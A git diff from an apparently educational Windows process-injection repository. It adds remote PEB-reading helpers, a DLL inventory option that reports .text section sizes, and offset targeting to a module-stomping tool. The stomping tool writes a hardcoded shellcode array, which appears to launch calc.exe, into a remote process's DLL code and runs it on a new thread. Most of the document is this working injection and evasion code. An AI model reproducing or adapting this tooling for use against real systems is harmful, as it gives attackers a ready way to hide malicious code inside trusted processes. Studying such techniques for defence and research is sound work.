diff --git a/README.md b/README.md index c166c4d..b4fce5f 100644 --- a/README.md +++ b/README.md @@ -18,7 +18,7 @@ A collection of examples intended to demonstrate the fundamentals and provide a * [Thread Pool Injection](thread-pool-injection/README.md) ## Blog Posts -* [Process Injection Fundamentals(https://medium.com/@toneillcodes/windows-process-injection-fundamentals-00d43ee9ecad) +* [Process Injection Fundamentals](https://medium.com/@toneillcodes/windows-process-injection-fundamentals-00d43ee9ecad) * [The Ministry of Silly Walks Presents: Walking the PEB](https://infosecwriteups.com/the-ministry-of-silly-walks-presents-walking-the-peb-e3c159eb3d30) * [An Introduction To Module Stomping](https://medium.com/@toneillcodes/an-introduction-to-module-stomping-26238af76d43) * [Advanced Evasion Tradecraft: Precision Module Stomping](https://medium.com/@toneillcodes/advanced-evasion-tradecraft-precision-module-stomping-b51feb0978fe) \ No newline at end of file diff --git a/includes/peb-eat-utils.cpp b/includes/peb-eat-utils.cpp index 68124a3..3fef610 100644 --- a/includes/peb-eat-utils.cpp +++ b/includes/peb-eat-utils.cpp @@ -14,7 +14,7 @@ typedef NTSTATUS(NTAPI* pNtQueryInformationProcess)( ); // --- Core Internal Abstraction Layer --- - +// seamlessly handle memory read operations for both local and remote operations BOOL ReadMemoryInternal(HANDLE hProcess, PVOID baseAddress, PVOID localBuffer, SIZE_T size) { if (hProcess == NULL || hProcess == LOCAL_PROCESS_HANDLE) { __try { @@ -30,6 +30,7 @@ BOOL ReadMemoryInternal(HANDLE hProcess, PVOID baseAddress, PVOID localBuffer, S } } +// PE validation function, if this fails we probably don't have a valid PE and can stop BOOL GetPEHeaders(HANDLE hProcess, PVOID moduleBase, IMAGE_DOS_HEADER* outDos, IMAGE_NT_HEADERS* outNt) { if (!ReadMemoryInternal(hProcess, moduleBase, outDos, sizeof(IMAGE_DOS_HEADER))) return FALSE; if (outDos->e_magic != IMAGE_DOS_SIGNATURE) return FALSE; @@ -205,7 +206,9 @@ BOOL GetModuleSectionGeneric(HANDLE hProcess, PVOID moduleBase, const char* sect BOOL found = FALSE; for (WORD i = 0; i < numberOfSections; i++) { if (strncmp((char*)sectionHeaders[i].Name, sectionName, IMAGE_SIZEOF_SHORT_NAME) == 0) { - outSectionInfo->VirtualAddress = (BYTE*)moduleBase + sectionHeaders[i].VirtualAddress; + //outSectionInfo->VirtualAddress = (BYTE*)moduleBase + sectionHeaders[i].VirtualAddress; + // Copy the offset directly (DWORD to DWORD) + outSectionInfo->VirtualAddress = sectionHeaders[i].VirtualAddress; outSectionInfo->SizeOfRawData = sectionHeaders[i].SizeOfRawData; outSectionInfo->VirtualSize = sectionHeaders[i].Misc.VirtualSize; found = TRUE; @@ -217,6 +220,49 @@ BOOL GetModuleSectionGeneric(HANDLE hProcess, PVOID moduleBase, const char* sect return found; } +/** + * Accepts an already populated local PEB structure copy. + */ +WCHAR* GetRemoteProcessImagePathEx(HANDLE hProcess, PPEB pLocalPebContent) { + if (!pLocalPebContent || !pLocalPebContent->ProcessParameters) return NULL; + + // 1. Read the Process Parameters structure using the pointer inside your pre-read PEB + RTL_USER_PROCESS_PARAMETERS_LITE procParams; + if (!ReadProcessMemory(hProcess, pLocalPebContent->ProcessParameters, &procParams, sizeof(procParams), NULL)) { + return NULL; + } + + // 2. Allocate space and fetch the wide string path + USHORT pathLenBytes = procParams.ImagePathName.Length; + WCHAR* localPathBuffer = (WCHAR*)malloc(pathLenBytes + sizeof(WCHAR)); + if (!localPathBuffer) return NULL; + + ZeroMemory(localPathBuffer, pathLenBytes + sizeof(WCHAR)); + + if (ReadProcessMemory(hProcess, procParams.ImagePathName.Buffer, localPathBuffer, pathLenBytes, NULL)) { + return localPathBuffer; // Caller frees + } + + free(localPathBuffer); + return NULL; +} + +/** + * Convenience Wrapper: Handles fetching the PEB for you if you don't have it yet. + */ +WCHAR* GetRemoteProcessImagePath(HANDLE hProcess) { + PVOID remotePebAddr = GetRemotePebAddress(hProcess); + if (!remotePebAddr) return NULL; + + PEB localPeb; + if (!ReadProcessMemory(hProcess, remotePebAddr, &localPeb, sizeof(PEB), NULL)) { + return NULL; + } + + // invoke the optimized function + return GetRemoteProcessImagePathEx(hProcess, &localPeb); +} + // --- Exported Public API Wrappers --- void* GetLocalTebAddress(void) { diff --git a/includes/peb-eat-utils.h b/includes/peb-eat-utils.h index a7cf250..8fe184c 100644 --- a/includes/peb-eat-utils.h +++ b/includes/peb-eat-utils.h @@ -8,7 +8,7 @@ #endif typedef struct _IMAGE_SECTION_INFO { - PVOID VirtualAddress; + DWORD VirtualAddress; DWORD SizeOfRawData; DWORD VirtualSize; } IMAGE_SECTION_INFO, *PIMAGE_SECTION_INFO; @@ -28,13 +28,13 @@ typedef struct _LDR_DATA_TABLE_ENTRY_COMPAT { // Define the COMPLETE structure since winternl.h cuts out the fields we need typedef struct _FULL_LDR_DATA_TABLE_ENTRY { LIST_ENTRY InLoadOrderLinks; - LIST_ENTRY InMemoryOrderLinks; + LIST_ENTRY InMemoryOrderLinks; LIST_ENTRY InInitializationOrderLinks; PVOID DllBase; PVOID EntryPoint; ULONG SizeOfImage; UNICODE_STRING FullDllName; - UNICODE_STRING BaseDllName; + UNICODE_STRING BaseDllName; ULONG Flags; WORD ObsoleteLoadCount; WORD TlsIndex; @@ -57,6 +57,14 @@ typedef NTSTATUS(NTAPI* pNtQueryInformationThread)( PULONG ReturnLength ); +// Minimum required definitions for the Process Parameters +typedef struct _RTL_USER_PROCESS_PARAMETERS_LITE { + BYTE Reserved1[16]; + PVOID Reserved2[10]; + UNICODE_STRING ImagePathName; + UNICODE_STRING CommandLine; +} RTL_USER_PROCESS_PARAMETERS_LITE, *PRTL_USER_PROCESS_PARAMETERS_LITE; + // --- Forward Declarations of Public API Functions --- void* GetLocalTebAddress(void); PVOID GetRemotePebAddress(HANDLE hProcess); @@ -64,6 +72,9 @@ PVOID GetRemotePebAddress(HANDLE hProcess); PVOID GetModuleBaseManual(PPEB pebObject, const char* targetModuleName); PVOID GetModuleBaseManualRemote(HANDLE hProcess, PVOID remotePebAddr, const char* targetModuleName); +WCHAR* GetRemoteProcessImagePathEx(HANDLE hProcess, PPEB pLocalPebContent); +WCHAR* GetRemoteProcessImagePath(HANDLE hProcess); + PVOID GPAManualByName(HMODULE hMod, char* targetFunc); PVOID GPAManualByOrdinal(HMODULE hMod, WORD ordinal); PVOID GetRemoteProcAddressManual(HANDLE hProcess, PVOID moduleBase, const char* functionName); diff --git a/module-stomping/list-process-dlls.cpp b/module-stomping/list-process-dlls.cpp index 3ea4115..f834496 100644 --- a/module-stomping/list-process-dlls.cpp +++ b/module-stomping/list-process-dlls.cpp @@ -1,6 +1,6 @@ /* * Outputs the DLLs loaded by a process with optional flags to display names only and write to a file -* compile: cl.exe /D"UNICODE" /D"_UNICODE" list-process-dlls.cpp ..\includes\peb-eat-utils.cpp ..\includes\utils.cpp ..\includes\ps-utils.cpp +* compile: cl.exe list-process-dlls.cpp ..\includes\peb-eat-utils.cpp ..\includes\utils.cpp ..\includes\ps-utils.cpp */ #include #include // Ensure bool, true, and false are explicitly supported @@ -8,7 +8,7 @@ #include "..\includes\peb-eat-utils.h" #include "..\includes\ps-utils.h" -void InventoryRemoteDlls(HANDLE hProcess, bool namesOnly, const char* outputFilePath) { +void InventoryRemoteDlls(HANDLE hProcess, bool namesOnly, bool showSize, bool includeImagePath, const char* outputFilePath) { PVOID remotePebAddr = GetRemotePebAddress(hProcess); if (!remotePebAddr) { printf("[-] Failed to locate remote PEB.\n"); @@ -27,13 +27,20 @@ void InventoryRemoteDlls(HANDLE hProcess, bool namesOnly, const char* outputFile return; } + // Retrieve the executable image path using the optimized function + WCHAR* exePath = GetRemoteProcessImagePathEx(hProcess, &remotePebContent); + if (exePath && !showSize) { + printf("[+] Executed From: %ws\n", exePath); + } + // Try opening the file if a path was provided FILE* outputFile = NULL; if (outputFilePath) { outputFile = fopen(outputFilePath, "w"); if (!outputFile) { printf("[-] Failed to open output file: %s. Defaulting to console only.\n", outputFilePath); - } else { + } else if (!showSize) { + // Only print this diagnostic line if we aren't generating a pure CSV stream printf("[+] Output will also be dumped to: %s\n", outputFilePath); } } @@ -41,15 +48,26 @@ void InventoryRemoteDlls(HANDLE hProcess, bool namesOnly, const char* outputFile LIST_ENTRY* headRemoteLink = &((PPEB_LDR_DATA)remotePebContent.Ldr)->InMemoryOrderModuleList; LIST_ENTRY currentLink = remoteLdrContent.InMemoryOrderModuleList; - printf("[+] Enumerating loaded modules:\n"); - printf("--------------------------------------------------\n"); + // Adjust CSV headers based on whether the image path column is requested + if (showSize) { + if (includeImagePath) { + printf("TargetProcess,Name,TextSectionSize\n"); + if (outputFile) fprintf(outputFile, "TargetProcess,Name,TextSectionSize\n"); + } else { + printf("Name,TextSectionSize\n"); + if (outputFile) fprintf(outputFile, "Name,TextSectionSize\n"); + } + } else { + printf("[+] Enumerating loaded modules:\n"); + printf("--------------------------------------------------\n"); + } while (currentLink.Flink != headRemoteLink) { ULONG_PTR remoteEntryAddr = (ULONG_PTR)currentLink.Flink - sizeof(LIST_ENTRY); FULL_LDR_DATA_TABLE_ENTRY remoteEntryContent; if (!ReadProcessMemory(hProcess, (LPCVOID)remoteEntryAddr, &remoteEntryContent, sizeof(FULL_LDR_DATA_TABLE_ENTRY), NULL)) { - printf("[-] Failed to read a module entry from the list.\n"); + if (!showSize) printf("[-] Failed to read a module entry from the list.\n"); break; } @@ -61,15 +79,33 @@ void InventoryRemoteDlls(HANDLE hProcess, bool namesOnly, const char* outputFile if (ReadProcessMemory(hProcess, remoteEntryContent.BaseDllName.Buffer, localBuffer, nameLen, NULL)) { - if (namesOnly) { - printf("%ws\n", localBuffer); - if (outputFile) { - fprintf(outputFile, "%ws\n", localBuffer); + DWORD textSectionSize = 0; + + if (showSize) { + IMAGE_SECTION_INFO sectionInfo = { 0 }; + if (GetRemoteModuleSection(hProcess, remoteEntryContent.DllBase, ".text", §ionInfo)) { + textSectionSize = sectionInfo.VirtualSize; } - } else { - printf("[0x%p] %ws\n", remoteEntryContent.DllBase, localBuffer); - if (outputFile) { - fprintf(outputFile, "[0x%p] %ws\n", remoteEntryContent.DllBase, localBuffer); + } + + if (showSize) { + // Conditional CSV formatting row structure + if (includeImagePath && exePath) { + printf("%ws,%ws,%lu\n", exePath, localBuffer, textSectionSize); + if (outputFile) fprintf(outputFile, "%ws,%ws,%lu\n", exePath, localBuffer, textSectionSize); + } else { + printf("%ws,%lu\n", localBuffer, textSectionSize); + if (outputFile) fprintf(outputFile, "%ws,%lu\n", localBuffer, textSectionSize); + } + } + else if (namesOnly) { + printf("%ws\n", localBuffer); + if (outputFile) fprintf(outputFile, "%ws\n", localBuffer); + } + else { + printf("[0x%p - Size: %lu] %ws\n", remoteEntryContent.DllBase, remoteEntryContent.SizeOfImage, localBuffer); + if (outputFile) { + fprintf(outputFile, "[0x%p - Size: %lu] %ws\n", remoteEntryContent.DllBase, remoteEntryContent.SizeOfImage, localBuffer); } } } @@ -79,6 +115,11 @@ void InventoryRemoteDlls(HANDLE hProcess, bool namesOnly, const char* outputFile currentLink = remoteEntryContent.InMemoryOrderLinks; } + // Clean up our string asset allocation before exiting out + if (exePath) { + free(exePath); + } + if (outputFile) { fclose(outputFile); } @@ -87,19 +128,24 @@ void InventoryRemoteDlls(HANDLE hProcess, bool namesOnly, const char* outputFile void PrintUsage(const char* programName) { printf("Usage: %s [options]\n", programName); printf("Options:\n"); - printf(" -p, --pid Target process ID.\n"); - printf(" -n, --names-only Only print out the raw DLL names (omit base addresses)\n"); - printf(" -o, --output Dump the inventory out to a text file\n"); - printf(" -h, --help Show this help screen\n"); + printf(" -p, --pid Target process ID.\n"); + printf(" -n, --names-only Only print out the raw DLL names (omit base addresses)\n"); + printf(" -s, --size Output name and .text size in CSV format\n"); + printf(" -i, --include-path Include the target process image path within the CSV output\n"); + printf(" -o, --output Dump the inventory out to a text file\n"); + printf(" -h, --help Show this help screen\n"); } -int handleArgs(int argc, char *argv[], bool* namesOnly, const char** outputFilePath, DWORD* targetPid) { +int handleArgs(int argc, char *argv[], bool* namesOnly, bool* showSize, bool* includeImagePath, const char** outputFilePath, DWORD* targetPid) { for (int i = 1; i < argc; i++) { - if (strcmp(argv[i], "-p") == 0 || strcmp(argv[i], "--pid") == 0) { - // Check if there's an actual argument following -p + if (strcmp(argv[i], "-h") == 0 || strcmp(argv[i], "--help") == 0) { + PrintUsage(argv[0]); + return -1; + } + else if (strcmp(argv[i], "-p") == 0 || strcmp(argv[i], "--pid") == 0) { if (i + 1 < argc) { *targetPid = atoi(argv[i + 1]); - i++; // Skip next argument since we consumed it here + i++; } else { printf("[-] Error: -p/--pid requires a target process ID.\n"); PrintUsage(argv[0]); @@ -109,21 +155,22 @@ int handleArgs(int argc, char *argv[], bool* namesOnly, const char** outputFileP else if (strcmp(argv[i], "-n") == 0 || strcmp(argv[i], "--names-only") == 0) { *namesOnly = true; } + else if (strcmp(argv[i], "-s") == 0 || strcmp(argv[i], "--size") == 0) { + *showSize = true; + } + else if (strcmp(argv[i], "-i") == 0 || strcmp(argv[i], "--include-path") == 0) { + *includeImagePath = true; + } else if (strcmp(argv[i], "-o") == 0 || strcmp(argv[i], "--output") == 0) { - // Check if there's an actual argument following -o if (i + 1 < argc) { *outputFilePath = argv[i + 1]; - i++; // Skip next argument since we consumed it here + i++; } else { printf("[-] Error: -o/--output requires a file path argument.\n"); PrintUsage(argv[0]); return 1; } } - else if (strcmp(argv[i], "-h") == 0 || strcmp(argv[i], "--help") == 0) { - PrintUsage(argv[0]); - return 0; - } else { printf("[-] Unknown parameter: %s\n", argv[i]); PrintUsage(argv[0]); @@ -135,11 +182,17 @@ int handleArgs(int argc, char *argv[], bool* namesOnly, const char** outputFileP int main(int argc, char *argv[]) { bool namesOnly = false; + bool showSize = false; + bool includeImagePath = false; const char* outputFilePath = NULL; DWORD targetPid = 0; int validArgs = 0; - validArgs = handleArgs(argc, argv, &namesOnly, &outputFilePath, &targetPid); + validArgs = handleArgs(argc, argv, &namesOnly, &showSize, &includeImagePath, &outputFilePath, &targetPid); + + if (validArgs == -1) { + return 0; + } if (validArgs != 0) { return validArgs; @@ -157,7 +210,7 @@ int main(int argc, char *argv[]) { return 1; } - InventoryRemoteDlls(pHandle, namesOnly, outputFilePath); + InventoryRemoteDlls(pHandle, namesOnly, showSize, includeImagePath, outputFilePath); CloseHandle(pHandle); return 0; diff --git a/module-stomping/remote-stomp.cpp b/module-stomping/remote-stomp.cpp index 3cca2a0..c29905c 100644 --- a/module-stomping/remote-stomp.cpp +++ b/module-stomping/remote-stomp.cpp @@ -13,10 +13,11 @@ #include "..\includes\utils.h" void PrintUsage(const char* programName) { - printf("[INFO] Usage: %s -p -d -f [Options]\n", programName); + printf("[INFO] Usage: %s -p -d [-f | -o ] [Options]\n", programName); printf(" -p : Target Process ID (PID)\n"); printf(" -d : Name of the target DLL (e.g., wininet.dll)\n"); printf(" -f : Name of the exported function to stomp (e.g., CommitUrlCacheEntryW)\n"); + printf(" -o : Hexadecimal offset relative to the .text section start (e.g., 0x1A40 or 1A40)\n"); printf("\nOptions:\n"); printf(" -n : Enable NOP testing mode (ignores hardcoded shellcode)\n"); printf(" -s : Number of NOP bytes to write (required if -n is used)\n"); @@ -43,12 +44,15 @@ int main(int argc, char *argv[]) { "\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd" "\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0" "\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff" - "\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00"; + "\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00"; DWORD pid = 0; char* targetDll = NULL; char* targetFunction = NULL; + BOOL hasOffset = FALSE; + DWORD textOffset = 0; + BOOL nopMode = FALSE; DWORD nopSize = 0; @@ -63,6 +67,10 @@ int main(int argc, char *argv[]) { targetDll = argv[++i]; } else if (strcmp(argv[i], "-f") == 0 && i + 1 < argc) { targetFunction = argv[++i]; + } else if (strcmp(argv[i], "-o") == 0 && i + 1 < argc) { + hasOffset = TRUE; + // Parse the string as a hexadecimal value (handles both "0x1A" and "1A" format variants) + textOffset = (DWORD)strtoul(argv[++i], NULL, 16); } else if (strcmp(argv[i], "-n") == 0) { nopMode = TRUE; } else if (strcmp(argv[i], "-s") == 0 && i + 1 < argc) { @@ -75,12 +83,24 @@ int main(int argc, char *argv[]) { } // Validate that all core fields were filled - if (pid == 0 || targetDll == NULL || targetFunction == NULL) { - printf("[ERROR] Missing required arguments!\n"); + if (pid == 0 || targetDll == NULL) { + printf("[ERROR] Missing required arguments (PID and Target DLL are mandatory)!\n"); PrintUsage(argv[0]); return -1; } + // Enforce mutual exclusivity between function string naming and raw offset addressing + if (targetFunction != NULL && hasOffset) { + printf("[ERROR] Ambiguous targeting strategy! Specify a function export (-f) OR a text offset (-o), not both.\n"); + PrintUsage(argv[0]); + return -1; + } + + // Fallback if neither positioning parameter was supplied + if (targetFunction == NULL && !hasOffset) { + printf("[INFO] Neither function (-f) nor offset (-o) specified. Defaulting to base of .text section.\n"); + } + // Validate NOP mode logic rules if (nopMode && nopSize == 0) { printf("[ERROR] NOP mode (-n) enabled, but no size (-s) specified!\n"); @@ -122,7 +142,7 @@ int main(int argc, char *argv[]) { return -1; } - printf("[*] Target PEB located at: : 0x%016llx\n", remotePebAddr); + printf("[*] Target PEB located at: : 0x%016llx\n", (ULONG_PTR)remotePebAddr); PPEB peb_ptr = (PPEB)remotePebAddr; @@ -135,25 +155,50 @@ int main(int argc, char *argv[]) { return -1; } - printf("[*] Target DLL base located at: : 0x%016llx\n", targetModuleBase); + printf("[*] Target DLL base located at: : 0x%016llx\n", (ULONG_PTR)targetModuleBase); - LPVOID bufferAddress = (LPVOID)GetRemoteProcAddressManual(pHandle, targetModuleBase, targetFunction); - if (bufferAddress == NULL) { - printf("[ERROR] Failed to locate target function %s! Error: %lu\n", targetFunction, GetLastError()); - CloseHandle(pHandle); - if (nopMode) free(writeBuffer); - return -1; + LPVOID bufferAddress = NULL; + + // Dynamic Export Lookup + if (targetFunction != NULL) { + printf("[*] Attempting to locate function: %s\n", targetFunction); + bufferAddress = (LPVOID)GetRemoteProcAddressManual(pHandle, targetModuleBase, targetFunction); + if (bufferAddress == NULL) { + printf("[ERROR] Failed to locate target function %s! Error: %lu\n", targetFunction, GetLastError()); + CloseHandle(pHandle); + if (nopMode) free(writeBuffer); + return -1; + } + printf("[*] Target %s!%s located at: 0x%016llx\n", targetDll, targetFunction, (ULONG_PTR)bufferAddress); + } + // Image-Base Relative RVA Positioning + else { + if (hasOffset) { + printf("[*] Applying RVA offset 0x%X directly from Image Base\n", textOffset); + bufferAddress = (LPVOID)((PBYTE)targetModuleBase + textOffset); + } else { + printf("[*] No function or offset specified. Locating absolute start of .text section.\n"); + IMAGE_SECTION_INFO sectionInfo = { 0 }; + if (GetRemoteModuleSection(pHandle, targetModuleBase, ".text", §ionInfo)) { + bufferAddress = (LPVOID)((PBYTE)targetModuleBase + sectionInfo.VirtualAddress); + } else { + printf("[ERROR] Failed to locate .text section within the target module.\n"); + CloseHandle(pHandle); + if (nopMode) free(writeBuffer); + return -1; + } + } + + if (bufferAddress != NULL) { + printf("[*] Target address resolved to: 0x%016llx\n", (ULONG_PTR)bufferAddress); + } } - printf("[*] Target %s!%s located at: 0x%016llx\n", targetDll, targetFunction, bufferAddress); - - printf("[*] Press Enter to write the data to the buffer address: "); - getchar(); - + printf("[*] Writing to buffer.\n"); // Write either the shellcode or the NOP payload to the target area BOOL writePayload = WriteProcessMemory(pHandle, bufferAddress, writeBuffer, writeSize, NULL); - if (writePayload == false) { - printf("[ERROR] Failed to write data! Using address: 0x%016llx, Error: %lu\n", bufferAddress, GetLastError()); + if (writePayload == FALSE) { + printf("[ERROR] Failed to write data! Using address: 0x%016llx, Error: %lu\n", (ULONG_PTR)bufferAddress, GetLastError()); CloseHandle(pHandle); if (nopMode) free(writeBuffer); return -1; @@ -168,11 +213,6 @@ int main(int argc, char *argv[]) { CloseHandle(pHandle); return -1; } - - /* - printf("[*] Waiting for the thread to return...\n"); - WaitForSingleObject(tHandle, INFINITE); - */ CloseHandle(tHandle); } else { printf("[*] Skipping thread creation (NOP testing mode complete).\n");